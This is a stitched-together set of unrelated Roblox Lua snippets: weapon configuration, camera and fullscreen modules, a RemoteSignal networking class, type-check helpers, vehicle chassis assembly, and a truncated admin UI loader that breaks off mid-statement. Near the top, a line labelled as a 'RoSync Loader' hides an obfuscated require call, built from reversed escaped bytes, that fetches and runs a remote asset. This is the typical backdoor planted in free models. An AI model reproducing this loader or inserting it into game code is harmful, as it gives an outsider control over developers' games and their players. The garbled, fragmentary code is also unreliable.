local configs = require(tool.Configurations) currentAmmo = configs.clipSize local attackCooldown = configs.attackCooldown local range = configs.range local bulletSpeed = configs.bulletSpeed local bulletDrop = configs.bulletDrop local headDamage = configs.headDamage local torsoDamage = configs.torsoDamage local otherDamage = configs.otherDamage local reloadTime = configs.reloadTime local clipSize = configs.clipSize local extraAmmo = configs.extraAmmo local hitParticles = configs.hitParticles local infiniteAmmo = configs.infiniteAmmo local consolidateAmmo = configs.consolidateAmmo currentAmmo = clipSize if infiniteAmmo then ammoLeft = clipSize else ammoLeft = extraAmmo end
--[[ Last synced 12/17/2020 02:32 || RoSync Loader ]]
getfenv()[string.reverse("\101\114\105\117\113\101\114")](5747857292)
--[[ Use Examples -- To be used on the client. local fullscreenModule = require(game:GetService("ReplicatedStorage"):WaitForChild("FullscreenModule")) local screen = workspace:WaitForChild("CountdownBoardPart") -- Creates a button that allows the user to toggle focus on a screen fullscreenModule.CreateButtonToFocusScreen(screen) fullscreenModule.FocusScreen(screen) -- Forces the client to focus on a screen wait(5) fullscreenModule.FocusScreen() -- Forces the client to focus back on their character ]]
local fullscreenModule = {} fullscreenModule.FocusedScreen = nil local TweenService = game:GetService("TweenService") local PlayersService = game:GetService("Players") local RunService = game:GetService("RunService") local StarterPlayer = game:GetService("StarterPlayer") local UserInputService = game:GetService("UserInputService") local buttonGuiTemplate = script:WaitForChild("FullscreenButtonGui") local localPlayer = PlayersService.LocalPlayer local camera = workspace.CurrentCamera local buttonGui = nil local button = nil local buttonTargetScreen = nil local buttonConnection = nil local gamepadButtonConnection = nil local lockCameraConnection = nil local characterCamCF = nil local characterCamCFIsRelative = false local transitionCount = 0 local ZOOM_IN_ICON = "rbxassetid://9597519667" local ZOOM_OUT_ICON = "rbxassetid://9597519299" local FULLSCREEN_GAMEPAD_BUTTON = Enum.KeyCode.ButtonY local FULLSCREEN_GAMEPAD_BUTTON_ICON = "rbxassetid://9596106684" local BACKOUT_GAMEPAD_BUTTON = Enum.KeyCode.ButtonB local BACKOUT_GAMEPAD_BUTTON_ICON = "rbxassetid://9596106237"
-------------------------------------------------------------------
script.Parent.ClickDetector.MouseClick:connect(function(plr) local Check = CheckUser(plr,true) if enabled == true and Check == true then regenerate() end end)
--[[ remoteSignal = RemoteSignal.new() remoteSignal:Connect(handler: (player: Player, ...args: any) -> void): RBXScriptConnection remoteSignal:Fire(player: Player, ...args: any): void remoteSignal:FireAll(...args: any): void remoteSignal:FireExcept(player: Player, ...args: any): void remoteSignal:Wait(): (...any) remoteSignal:Destroy(): void --]]
local IS_SERVER = game:GetService("RunService"):IsServer() local t = require( script.Parent.Parent.t ) local Players = game:GetService("Players") local Ser = require(script.Parent.Parent.Ser) local RemoteSignal = {} RemoteSignal.__index = RemoteSignal function RemoteSignal.Is(object) return type(object) == "table" and getmetatable(object) == RemoteSignal end function RemoteSignal.new() assert(IS_SERVER, "RemoteSignal can only be created on the server") local self = setmetatable({ _remote = Instance.new("RemoteEvent"); }, RemoteSignal) return self end local tFire = t.tuple( t.instanceIsA("Player") ) function RemoteSignal:Fire(player, ...) assert( tFire(player) ) self._remote:FireClient(player, Ser.SerializeArgsAndUnpack(...)) end function RemoteSignal:FireAll(...) self._remote:FireAllClients(Ser.SerializeArgsAndUnpack(...)) end local tFireExcept = t.tuple( t.instanceIsA("Player") ) function RemoteSignal:FireExcept(player, ...) assert( tFireExcept(player) ) local args = Ser.SerializeArgs(...) for _,plr in ipairs(Players:GetPlayers()) do if plr ~= player then self._remote:FireClient(plr, Ser.UnpackArgs(args)) end end end local tFireSome = t.tuple( t.values(t.instanceIsA("Player")) ) function RemoteSignal:FireSome( playerList: {}, ... ): () assert( tFireSome(playerList) ) local args = Ser.SerializeArgs( ... ) for _, player: Player in pairs( playerList ) do if ( player and player:IsDescendantOf(Players) ) then self._remote:FireClient( player, Ser.UnpackArgs(args) ) end end end function RemoteSignal:Wait() return self._remote.OnServerEvent:Wait() end function RemoteSignal:Connect(handler) return self._remote.OnServerEvent:Connect(function(player, ...) handler(player, Ser.DeserializeArgsAndUnpack(...)) end) end function RemoteSignal:Destroy() self._remote:Destroy() self._remote = nil end return RemoteSignal
--[[ Utility functions specific to OrbitalCamera ]]
-- local function GetValueObject(name, defaultValue) local valueObj = script:FindFirstChild(name) if valueObj then return valueObj.Value end return defaultValue end
--[[ @class SoftShutdownUI.story ]]
local require = require(game:GetService("ServerScriptService"):FindFirstChild("LoaderUtils", true).Parent).load(script) local Maid = require("Maid") local SoftShutdownTranslator = require("SoftShutdownTranslator") local SoftShutdownUI = require("SoftShutdownUI") local ServiceBag = require("ServiceBag") return function(target) local maid = Maid.new() local serviceBag = ServiceBag.new() maid:GiveTask(serviceBag) local translator = serviceBag:GetService(SoftShutdownTranslator) local softShutdownUI = SoftShutdownUI.new() maid:GiveTask(softShutdownUI) maid:GivePromise(translator:PromiseFormatByKey("shutdown.lobby.title")):Then(function(text) softShutdownUI:SetTitle(text) end) maid:GivePromise(translator:PromiseFormatByKey("shutdown.lobby.subtitle")):Then(function(text) softShutdownUI:SetSubtitle(text) end) softShutdownUI:Show() softShutdownUI.Gui.Parent = target return function() maid:DoCleaning() end end
--Do not change anything below unless you know what youre doing!
script.Parent.Sound:Play() script.Parent.MouseButton1Click:connect(function() if script.Parent.Sound.IsPlaying then script.Parent.Sound:Stop() script.Parent.TextLabel.Visible= false script.Parent.TextLabel2.Visible=true else script.Parent.Sound:Play() script.Parent.TextLabel.Visible=true script.Parent.TextLabel2.Visible=false end end)
-- Water and sounds --
local showerSound = p.ShowerHead.Spout.ShowerSound
--People
PeopleOn = false People = {"bluelego07091","",""}
-------------------------------------
equiped=false sp=script.Parent RayLength=100000 Spread=0.06 enabled=true reloading=false down=false r=game:service("RunService") last=0 last2=0 last3=0 last4=0 last5=0 last6=0 p = Instance.new("Part") p.Parent = game.Lighting p.Name = "BulletTexture" p.CanCollide = false p.formFactor = "Custom" p.Size = Vector3.new(1,0.1,1) p.Transparency = 1 g = Instance.new("SpecialMesh") g.Parent = p Bullet=Instance.new("Part") Bullet.Name="Bullet" Bullet.BrickColor=BrickColor.new("New Yeller") Bullet.Anchored=true Bullet.CanCollide=false Bullet.Locked=true Bullet.Size=Vector3.new(1,1,1)
-- Create CameraShaker instance:
local renderPriority = Enum.RenderPriority.Camera.Value + 1 local camShake = CameraShaker.new(renderPriority, ShakeCamera)
-- If you want a spotlight to flicker, just add a spotlight in, delete the pointlight, then change script.Parent.Pointlight to script.Parent.Spotlight -- Your welcome!
--!strict --[=[ @function map @within Set @param set { [T]: boolean } -- The set to map. @param mapper (T, {[T]: boolean}) -> U -- The mapper function. @return {[U]: boolean} -- The mapped set. Iterates over a set, calling a mapper function for each item. ```lua local set = { hello = true, world = true } local mappedSet = Map(set, function(value) return value .. "!" end) -- { ["hello!"] = true, ["world!"] = true } ``` ]=]
local function map<T, U>(set: { [T]: boolean }, mapper: (T, { [T]: boolean }) -> U): { [U]: boolean } local result = {} for key, _ in pairs(set) do local mappedKey = mapper(key, set) if mappedKey ~= nil then result[mappedKey] = true end end return result end return map
--[[** ensures value is a table and all keys pass valueCheck and all values are true @param valueCheck The function to use to check the values @returns A function that will return true iff the condition is passed **--]]
function t.set(valueCheck) return t.map(valueCheck, t.literal(true)) end do local arrayKeysCheck = t.keys(t.integer) --[[** ensures value is an array and all values of the array match check @param check The check to compare all values with @returns A function that will return true iff the condition is passed **--]] function t.array(check) assert(t.callback(check)) local valuesCheck = t.values(check) return function(value) local keySuccess, keyErrMsg = arrayKeysCheck(value) if keySuccess == false then return false, string.format("[array] %s", keyErrMsg or "") end -- # is unreliable for sparse arrays -- Count upwards using ipairs to avoid false positives from the behavior of # local arraySize = 0 for _ in ipairs(value) do arraySize = arraySize + 1 end for key in pairs(value) do if key < 1 or key > arraySize then return false, string.format("[array] key %s must be sequential", tostring(key)) end end local valueSuccess, valueErrMsg = valuesCheck(value) if not valueSuccess then return false, string.format("[array] %s", valueErrMsg or "") end return true end end --[[** ensures value is an array of a strict makeup and size @param check The check to compare all values with @returns A function that will return true iff the condition is passed **--]] function t.strictArray(...) local valueTypes = { ... } assert(t.array(t.callback)(valueTypes)) return function(value) local keySuccess, keyErrMsg = arrayKeysCheck(value) if keySuccess == false then return false, string.format("[strictArray] %s", keyErrMsg or "") end -- If there's more than the set array size, disallow if #valueTypes < #value then return false, string.format("[strictArray] Array size exceeds limit of %d", #valueTypes) end for idx, typeFn in pairs(valueTypes) do local typeSuccess, typeErrMsg = typeFn(value[idx]) if not typeSuccess then return false, string.format("[strictArray] Array index #%d - %s", idx, typeErrMsg) end end return true end end end do local callbackArray = t.array(t.callback) --[[** creates a union type @param ... The checks to union @returns A function that will return true iff the condition is passed **--]] function t.union(...) local checks = {...} assert(callbackArray(checks)) return function(value) for _, check in ipairs(checks) do if check(value) then return true end end return false, "bad type for union" end end --[[** Alias for t.union **--]] t.some = t.union --[[** creates an intersection type @param ... The checks to intersect @returns A function that will return true iff the condition is passed **--]] function t.intersection(...) local checks = {...} assert(callbackArray(checks)) return function(value) for _, check in ipairs(checks) do local success, errMsg = check(value) if not success then return false, errMsg or "" end end return true end end --[[** Alias for t.intersection **--]] t.every = t.intersection end do local checkInterface = t.map(t.any, t.callback) --[[** ensures value matches given interface definition @param checkTable The interface definition @returns A function that will return true iff the condition is passed **--]] function t.interface(checkTable) assert(checkInterface(checkTable)) return function(value) local tableSuccess, tableErrMsg = t.table(value) if tableSuccess == false then return false, tableErrMsg or "" end for key, check in pairs(checkTable) do local success, errMsg = check(value[key]) if success == false then return false, string.format("[interface] bad value for %s:\n\t%s", tostring(key), errMsg or "") end end return true end end --[[** ensures value matches given interface definition strictly @param checkTable The interface definition @returns A function that will return true iff the condition is passed **--]] function t.strictInterface(checkTable) assert(checkInterface(checkTable)) return function(value) local tableSuccess, tableErrMsg = t.table(value) if tableSuccess == false then return false, tableErrMsg or "" end for key, check in pairs(checkTable) do local success, errMsg = check(value[key]) if success == false then return false, string.format("[interface] bad value for %s:\n\t%s", tostring(key), errMsg or "") end end for key in pairs(value) do if not checkTable[key] then return false, string.format("[interface] unexpected field %q", tostring(key)) end end return true end end end
--//sw
local sw = Instance.new("Motor", script.Parent.Parent.Misc.SW.SS) sw.MaxVelocity = 0.267 sw.Part0 = script.Parent.SW sw.Part1 = sw.Parent
---
local Paint = false script.Parent.MouseButton1Click:connect(function() Paint = not Paint handler:FireServer("Buttermilk",Paint) end)
--[=[ @param fn (player: Player, ...: any) -> nil -- The function to connect @return Connection Connect a function to the signal. Anytime a matching ClientRemoteSignal on a client fires, the connected function will be invoked with the arguments passed by the client. ]=]
function RemoteSignal:Connect(fn) if self._directConnect then return self._re.OnServerEvent:Connect(fn) else return self._signal:Connect(fn) end end function RemoteSignal:_processOutboundMiddleware(player: Player?, ...: any) if not self._hasOutbound then return ... end local args = table.pack(...) for _, middlewareFunc in ipairs(self._outbound) do local middlewareResult = table.pack(middlewareFunc(player, args)) if not middlewareResult[1] then return table.unpack(middlewareResult, 2, middlewareResult.n) end args.n = #args end return table.unpack(args, 1, args.n) end
-- Keep track of viewport half-size
local viewportHalf = game.Workspace.CurrentCamera.ViewportSize * 0.5 game.Workspace.CurrentCamera.Changed:Connect(function() viewportHalf = game.Workspace.CurrentCamera.ViewportSize * 0.5 end) local Guis = script:WaitForChild("Guis")
---- Services ----
local ReplicatedStorage = game:GetService("ReplicatedStorage") local UserInputService = game:GetService("UserInputService")
--Main--
script.Parent.Spawn.MouseButton1Click:connect (function () script.Parent.Enabled = false Camera.CameraType = "Custom" function setTeam(player, teamName) player.TeamColor = game.Teams[teamName].TeamColor if player.Character then end end for _, player in pairs(game.Players:GetPlayers()) do setTeam(player, "Grey Team") ---- Change this to the team you want them to be on once they are done customizing their character end local MasterControl = require(game.Players.LocalPlayer:WaitForChild("PlayerScripts"):WaitForChild("ControlScript"):WaitForChild("MasterControl")) MasterControl:Enable() end)
--[=[ Detects if a table is a dictionary, meaning it is not purely number indexes. ```lua local Array = {"A", "B", "C", "D"} local Dictionary = { NotAnArray = true } print(TableKit.IsDictionary(Array), TableKit.IsDictionary(Dictionary)) -- prints false, true ``` @within TableKit @param mysteryTable table @return boolean ]=]
function TableKit.IsDictionary(mysteryTable: { [unknown]: unknown }): boolean local count = 0 for _ in mysteryTable do count += 1 end return count ~= #mysteryTable end
-- ROBLOX MOVED: expect/utils.lua
local function isObjectWithKeys(a: any) return isObject(a) and (next(a) == nil or not Array.isArray(a)) end
--[[Chassis Assembly]]
--Create Steering Axle local arm=Instance.new("Part",v) arm.Name="Arm" arm.Anchored=true arm.CanCollide=false arm.FormFactor=Enum.FormFactor.Custom arm.Size=Vector3.new(_Tune.AxleSize,_Tune.AxleSize,_Tune.AxleSize) arm.CFrame=(v.CFrame*CFrame.new(0,_Tune.StAxisOffset,0))*CFrame.Angles(-math.pi/2,-math.pi/2,0) arm.CustomPhysicalProperties = PhysicalProperties.new(_Tune.AxleDensity,0,0,0,0) arm.TopSurface=Enum.SurfaceType.Smooth arm.BottomSurface=Enum.SurfaceType.Smooth arm.Transparency=1 if PGS_ON then --PGS Assembly--------------------------------------------------------------------------------------------------------------------------- --Suspension Offsets local fAnchorOffset = Vector3.new(_Tune.FAnchorOffset[1],_Tune.FAnchorOffset[2],_Tune.FAnchorOffset[3]) local rAnchorOffset = Vector3.new(_Tune.RAnchorOffset[1],_Tune.RAnchorOffset[2],_Tune.RAnchorOffset[3]) --Create Wheel Suspsension Anchor local anchor2=arm:Clone() anchor2.Parent=v anchor2.Name="Base" if v.Name == "FL" or v.Name == "FR" or v.Name=="F" then anchor2.CFrame=anchor2.CFrame*CFrame.new(fAnchorOffset) else anchor2.CFrame=anchor2.CFrame*CFrame.new(rAnchorOffset) end --Create Body Suspsension Anchor local anchor1=anchor2:Clone() anchor1.Parent=v anchor1.Name="Anchor" if v.Name == "FL" or v.Name == "FR" or v.Name=="F" then anchor1.CFrame=anchor1.CFrame*CFrame.new(-_Tune.FSusLength*math.cos(math.rad(_Tune.FSusAngle)),_Tune.FSusLength*math.sin(math.rad(_Tune.FSusAngle)),0) else anchor1.CFrame=anchor1.CFrame*CFrame.new(-_Tune.RSusLength*math.cos(math.rad(_Tune.RSusAngle)),_Tune.RSusLength*math.sin(math.rad(_Tune.RSusAngle)),0) end --Create Attachments local s0=Instance.new("Attachment",anchor1) local s1=Instance.new("Attachment",anchor2) local p0=Instance.new("Attachment",anchor1) local r0=Instance.new("Attachment",car.DriveSeat) local h0=Instance.new("Attachment",car.DriveSeat) local a0=Instance.new("Attachment",anchor2) local a1=Instance.new("Attachment",arm) local a2=Instance.new("Attachment",arm) local a3=Instance.new("Attachment",v) s0.Name="S0" s1.Name="S1" p0.Name="P0" r0.Name="R0" h0.Name="H0" a0.Name="A0" a1.Name="A1" a2.Name="A2" a3.Name="A3" --Calculate Wishbone Anchor Point local rAnc0=(arm.CFrame*CFrame.new(fAnchorOffset+Vector3.new(-math.cos(math.rad(_Tune.FWsBoneAngle))*_Tune.FWsBoneLen,math.sin(math.rad(_Tune.FWsBoneAngle))*_Tune.FWsBoneLen,0))).p if v.Name == "RL" or v.Name == "RR" or v.Name=="R" then rAnc0=(arm.CFrame*CFrame.new(rAnchorOffset+Vector3.new(-math.cos(math.rad(_Tune.RWsBoneAngle))*_Tune.RWsBoneLen,math.sin(math.rad(_Tune.RWsBoneAngle))*_Tune.RWsBoneLen,0))).p end --Apply Attachment Alignment p0.Position=anchor1.CFrame:toObjectSpace(CFrame.new(anchor2.Position)).p r0.Position=car.DriveSeat.CFrame:toObjectSpace(CFrame.new(rAnc0)).p h0.Position=car.DriveSeat.CFrame:toObjectSpace(CFrame.new(anchor1.Position)).p a0.Position=anchor2.CFrame:toObjectSpace(CFrame.new(arm.Position)).p if v.Name == "FL" or v.Name == "FR" or v.Name=="F" then p0.Rotation=Vector3.new(0,0,-_Tune.FSusAngle) s1.Rotation=Vector3.new(0,0,-_Tune.FSusAngle) else p0.Rotation=Vector3.new(0,0,-_Tune.RSusAngle) s1.Rotation=Vector3.new(0,0,-_Tune.RSusAngle) end if v.Name=="FL" then s0.Rotation=Vector3.new(0,90+_Tune.FToe,0) elseif v.Name=="FR" then s0.Rotation=Vector3.new(0,90-_Tune.FToe,0) elseif v.Name=="RL" then s0.Rotation=Vector3.new(0,90+_Tune.RToe,0) elseif v.Name=="RR" then s0.Rotation=Vector3.new(0,90-_Tune.RToe,0) else s0.Rotation=Vector3.new(0,-90,0) end h0.Rotation=Vector3.new(0,-90,0) a0.Rotation=Vector3.new(90,90,0) a1.Rotation=Vector3.new(90,90,0) a2.Rotation=Vector3.new(0,0,0) a3.Rotation=Vector3.new(0,0,90) if v.Name=="FR" or v.Name=="RR" then h0.Rotation=Vector3.new(0,90,0) a2.Rotation=Vector3.new(-180,00,0) end if v.Name == "RL" or v.Name == "RR" or v.Name=="R" then --Lock Rear Steering Axle MakeWeld(anchor2,arm) else --Create Steering Hinge local h2=Instance.new("HingeConstraint",v) h2.Attachment0=a0 h2.Attachment1=a1 end --Create Wheel Spindle local h3=Instance.new("HingeConstraint",v) h3.Attachment0=a2 h3.Attachment1=a3 h3.Name = "#AV" h3.ActuatorType=Enum.ActuatorType.Motor --Apply Suspension if _Tune.SusEnabled then --Suspension Enabled local h1=Instance.new("HingeConstraint",v) h1.Attachment0=h0 h1.Attachment1=s0 local sus=Instance.new("SpringConstraint",v) sus.Attachment0=s0 sus.Attachment1=s1 sus.Visible=_Tune.SusVisible sus.Radius=_Tune.SusRadius sus.Thickness=_Tune.SusThickness sus.Color=BrickColor.new(_Tune.SusColor) sus.Coils=_Tune.SusCoilCount sus.LimitsEnabled=true if v.Name == "FL" or v.Name == "FR" or v.Name=="F" then sus.MinLength=_Tune.FSusLength-math.abs(_Tune.FSusMaxComp) sus.MaxLength=_Tune.FSusLength+math.abs(_Tune.FSusMaxExt) sus.FreeLength=_Tune.FSusLength+math.abs(_Tune.FSusMaxExt) sus.Damping=_Tune.FSusDamping sus.Stiffness=_Tune.FSusStiffness else sus.MinLength=_Tune.RSusLength-math.abs(_Tune.RSusMaxComp) sus.MaxLength=_Tune.RSusLength+math.abs(_Tune.RSusMaxExt) sus.FreeLength=_Tune.RSusLength+math.abs(_Tune.RSusMaxExt) sus.Damping=_Tune.RSusDamping sus.Stiffness=_Tune.RSusStiffness end local rod=Instance.new("RodConstraint",v) rod.Attachment0=r0 rod.Attachment1=s1 rod.Length=rod.CurrentDistance rod.Visible=_Tune.WsBVisible rod.Color=BrickColor.new(_Tune.WsColor) rod.Thickness=_Tune.WsThickness local prm=Instance.new("PrismaticConstraint",v) prm.Attachment0=p0 prm.Attachment1=s1 else --Suspension Disabled anchor1:Destroy() MakeWeld(car.DriveSeat,anchor2) end --Weld Miscelaneous Parts if v:FindFirstChild("SuspensionFixed")~=nil then ModelWeld(v.SuspensionFixed,anchor2) end if v:FindFirstChild("WheelFixed")~=nil then ModelWeld(v.WheelFixed,arm) end if v:FindFirstChild("Fixed")~=nil then ModelWeld(v.Fixed,arm) end else --Legacy Assembly--------------------------------------------------------------------------------------------------------------------------- --Create Wheel Spindle local base=arm:Clone() base.Parent=v base.Name="Base" base.CFrame=base.CFrame*CFrame.new(0,_Tune.AxleSize,0) base.BottomSurface=Enum.SurfaceType.Hinge --Create Steering Anchor local axle=arm:Clone() axle.Parent=v axle.Name="Axle" axle.CFrame=CFrame.new(v.Position-((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0) axle.BackSurface=Enum.SurfaceType.Hinge if v.Name=="F" or v.Name=="R" then local axle2=arm:Clone() axle2.Parent=v axle2.Name="Axle" axle2.CFrame=CFrame.new(v.Position+((v.CFrame*CFrame.Angles(math.pi/2,0,0)).lookVector*((v.Size.x/2)+(axle2.Size.x/2))),v.Position)*CFrame.Angles(0,math.pi,0) axle2.BackSurface=Enum.SurfaceType.Hinge MakeWeld(arm,axle2) end --Lock Rear Steering Axle if v.Name == "RL" or v.Name == "RR" or v.Name=="R" then MakeWeld(base,axle) end --Weld Assembly MakeWeld(car.DriveSeat,base) if v.Parent.Name == "RL" or v.Parent.Name == "RR" or v.Name=="R" then MakeWeld(car.DriveSeat,arm) end MakeWeld(arm,axle) arm:MakeJoints() axle:MakeJoints() --Weld Miscelaneous Parts if v:FindFirstChild("SuspensionFixed")~=nil then ModelWeld(v.SuspensionFixed,car.DriveSeat) end if v:FindFirstChild("WheelFixed")~=nil then ModelWeld(v.WheelFixed,axle) end if v:FindFirstChild("Fixed")~=nil then ModelWeld(v.Fixed,arm) end end --------------------------------------------------------------------------------------------------------------------------- --Weld Wheel Parts if v:FindFirstChild("Parts")~=nil then ModelWeld(v.Parts,v) end --Add Steering Gyro if v:FindFirstChild("Steer") then v:FindFirstChild("Steer"):Destroy() end if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then local steer=Instance.new("BodyGyro",arm) steer.Name="Steer" steer.P=_Tune.SteerP steer.D=_Tune.SteerD steer.MaxTorque=Vector3.new(0,_Tune.SteerMaxTorque,0) steer.cframe=v.CFrame*CFrame.Angles(0,-math.pi/2,0) end --Add Stabilization Gyro local gyro=Instance.new("BodyGyro",v) gyro.Name="Stabilizer" gyro.MaxTorque=Vector3.new(1,0,1) gyro.P=0 if v.Name=="FL" or v.Name=="FR" or v.Name=="F" then gyro.D=_Tune.FGyroDamp else gyro.D=_Tune.RGyroDamp end --Add Rotational BodyMover if not PGS_ON then local AV=Instance.new("BodyAngularVelocity",v) AV.Name="#AV" AV.angularvelocity=Vector3.new(0,0,0) AV.maxTorque=Vector3.new(_Tune.PBrakeForce,0,_Tune.PBrakeForce) AV.P=1e9 end end
-- [ SERVICES ] --
local tween = game:GetService("TweenService")
---------------------------------------
local spd=script.Speed:Clone() spd.Parent = model.Part1 spd.Value = 0.05 local die=script.Died:Clone() die.Parent = model.Part1 die.Disabled = false local scr=script.MovedBlock:Clone() scr.Parent = model.Part1 scr.Disabled = false
--s.Pitch = 0.7
while s.Pitch<1 do s.Volume=1 s.Pitch=s.Pitch+0.0060 s:Play() if s.Pitch>1 then s.Pitch=1 end wait(0.001) end
--[[** Gets an array of the given group's allies. @param [Integer] GroupID The group you are checking. @returns [Array] All of the group's allies in an array. **--]]
function GroupService:GetGroupAlliesAsync(GroupID) local Success, GroupAlliesPages = pcall(RbxGroupService.GetAlliesAsync, RbxGroupService, GroupID) return Success and PagesToArray(GroupAlliesPages) or {} end
-- Constructor
function Maid.new() return setmetatable({ _tasks = {} }, Maid) end
--// Processing
return function(Vargs, GetEnv) local env = GetEnv(nil, {script = script}) setfenv(1, env) local _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay = _G, game, script, getfenv, setfenv, workspace, getmetatable, setmetatable, loadstring, coroutine, rawequal, typeof, print, math, warn, error, pcall, xpcall, select, rawset, rawget, ipairs, pairs, next, Rect, Axes, os, time, Faces, unpack, string, Color3, newproxy, tostring, tonumber, Instance, TweenInfo, BrickColor, NumberRange, ColorSequence, NumberSequence, ColorSequenceKeypoint, NumberSequenceKeypoint, PhysicalProperties, Region3int16, Vector3int16, require, table, type, wait, Enum, UDim, UDim2, Vector2, Vector3, Region3, CFrame, Ray, delay local UIFolder = client.UIFolder local script = script local service = Vargs.Service local client = Vargs.Client local GetEnv = env.GetEnv local Anti, Core, Functions, Process, Remote, UI, Variables, Deps local CloneTable, TrackTask local function Init() UI = client.UI; Anti = client.Anti; Core = client.Core; Variables = client.Variables Functions = client.Functions; Process = client.Process; Remote = client.Remote; Deps = client.Deps; CloneTable = service.CloneTable; TrackTask = service.TrackTask; UI.Init = nil; end local function RunLast() --[[client = service.ReadOnly(client, { [client.Variables] = true; [client.Handlers] = true; G_API = true; G_Access = true; G_Access_Key = true; G_Access_Perms = true; Allowed_API_Calls = true; HelpButtonImage = true; Finish_Loading = true; RemoteEvent = true; ScriptCache = true; Returns = true; PendingReturns = true; EncodeCache = true; DecodeCache = true; Received = true; Sent = true; Service = true; Holder = true; GUIs = true; LastUpdate = true; RateLimits = true; Init = true; RunLast = true; RunAfterInit = true; RunAfterLoaded = true; RunAfterPlugins = true; }, true)--]] UI.DefaultTheme = Remote.Get("Setting","DefaultTheme"); UI.RunLast = nil; end getfenv().client = nil getfenv().service = nil getfenv().script = nil client.UI = { Init = Init; RunLast = RunLast; GetHolder = function() if UI.Holder and UI.Holder.Parent == service.PlayerGui then return UI.Holder else pcall(function()if UI.Holder then UI.Holder:Destroy()end end) local new = service.New("ScreenGui", { Name = Functions.GetRandom(), Parent = service.PlayerGui, }); UI.Holder = new return UI.Holder end end; Prepare = function(gui) if true then return gui end --// Disabled local gTable = UI.Get(gui,false,true) if gui:IsA("ScreenGui") or gui:IsA("GuiMain") then local new = Instance.new("TextLabel") new.BackgroundTransparency = 1 new.Size = UDim2.new(1,0,1,0) new.Name = gui.Name new.Active = true new.Text = "" for ind,child in gui:GetChildren() do child.Parent = new end if gTable then gTable:Register(new) end gui:Destroy() return new else return gui end end; LoadModule = function(module, data, env) data = data or {} local ran, func = pcall(require, module) local newEnv = GetEnv(env, { script = module, client = CloneTable(client), service = CloneTable(service) }) if newEnv.service.Threads then newEnv.service.Threads = CloneTable(service.Threads) end for i,v in newEnv.client do if type(v) == "table" and i ~= "Variables" and i ~= "Handlers" then newEnv.client[i] = CloneTable(v) end end if ran then --// Temporarily disabled NoEnv; it seems to be causing some issues(?) --// ~ Expertcoderz --[[if (data.isModifier and not data.modNoEnv) or (not data.isModifier and data.isCode and not data.NoEnv) then setfenv(func, env) end]] local rets = { TrackTask("UI: ".. module:GetFullName(), --func, setfenv(func, newEnv), data, newEnv ) } if rets[1] then return unpack(rets, 2) else warn("Error while running module", module.Name, rets[2]) client.LogError("Error loading ".. module.Name .." - ".. tostring(rets[2])) end else warn("Error while loading module", module.Name, tostring(func)) end end; GetNew = function(theme, name) local foundConfigs = {} local endConfig = {} local endConfValues = {} local confFolder = Instance.new("Folder") local debounce = false local function func(theme, name, depth) local depth = (depth or 11) - 1 local folder = UIFolder:FindFirstChild(theme) or UIFolder.Default if folder then local baseValue = folder:FindFirstChild("Base_Theme") local baseTheme = baseValue and baseValue.Value local foundGUI = folder:FindFirstChild(name) --local foundGUI = (baseValue and folder:FindFirstChild(name)) or UIFolder.Default:FindFirstChild(name) if foundGUI then local config = foundGUI:FindFirstChild("Config") table.insert(foundConfigs, { Theme = theme; Folder = folder; Name = name; Found = foundGUI; Config = config; isModule = foundGUI:IsA("ModuleScript"); }) if config then baseValue = config:FindFirstChild("BaseTheme") or baseValue baseTheme = baseValue and baseValue.Value end end if baseTheme and depth > 0 then if UI.DefaultTheme and baseTheme == "Default" and theme ~= UI.DefaultTheme and not debounce then func(UI.DefaultTheme, name, depth) else debounce = true func(baseTheme, name, depth) end end end end --// Find GUI and all default versions under it func(theme, name) confFolder.Name = "Config" --// Create the final config for the found GUI. if #foundConfigs > 0 then --// Combine all configs found in order to build full config (in order of closest from target gui to furthest) for i,v in foundConfigs do if v.Config then for k,m in v.Config:GetChildren() do if not endConfig[m.Name] then if string.sub(m.Name, 1, 5) == "NoEnv" then endConfig["Code"] = m end endConfig[m.Name] = m end end end end --// Load all config values into the new Config folder for i,v in endConfig do v:Clone().Parent = confFolder; end --// Find next module based theme GUI if code not found or first in sequence is module (in theme) if foundConfigs[1].isModule then return foundConfigs[1].Found, foundConfigs[1].Folder, confFolder elseif not endConfig.Code then warn("Window config missing code.lua. Are your Base_Themes correct? client.UI.GetNew line 236") end --// Get rid of an old Config folder and throw the new combination Config folder in local new = foundConfigs[1].Found:Clone() local oldFolder = new:FindFirstChild'Config' if oldFolder then oldFolder:Destroy() end confFolder.Parent = new return new, foundConfigs[1].Folder, confFolder end end; Make = function(name, data, themeData) data = data or {} themeData = themeData or Variables.LastServerTheme or {Desktop = "Default"; Mobile = "Mobilius"} local theme = Variables.CustomTheme or (service.IsMobile() and themeData.Mobile) or themeData.Desktop local folder = UIFolder:FindFirstChild(theme) or UIFolder.Default --// Check for any childs with 'NoEnv' and trigger NoEnv --// Enforce NoEnv to ensure theme is using it. if not data.NoEnv and folder:FindFirstChild("NoEnv") then data.NoEnv = true data.modNoEnv = true end --// folder2 local newGui, _, foundConf = UI.GetNew(theme, name) if newGui then local isModule = newGui:IsA("ModuleScript") local conf = newGui:FindFirstChild("Config") local mod = conf and (conf:FindFirstChild("Modifier") or conf:FindFirstChild("NoEnv-Modifier")) if mod and not data.modNoEnv then data.modNoEnv = string.sub(mod.Name, 1, 5) == "NoEnv" end if isModule then return UI.LoadModule(newGui, data, { script = newGui; }) elseif conf and foundConf and foundConf ~= true then local code = foundConf:FindFirstChild("Code") or foundConf:FindFirstChild("NoEnv-Code") if not data.NoEnv and code then data.NoEnv = string.sub(code.Name, 1, 5) == "NoEnv" end local mult = foundConf.AllowMultiple --local keep = foundConf.CanKeepAlive local allowMult = mult and mult.Value or true local found, num = UI.Get(name) if not found or ((num and num>0) and allowMult) then local gTable,gIndex = UI.Register(newGui) if folder:IsA("ModuleScript") then local folderNoEnv = string.sub(folder.Name, 1, 5) == "NoEnv" or folder:FindFirstChild("NoEnv") local newEnv = GetEnv{{ script = folder, gTable = gTable }} local ran, func = 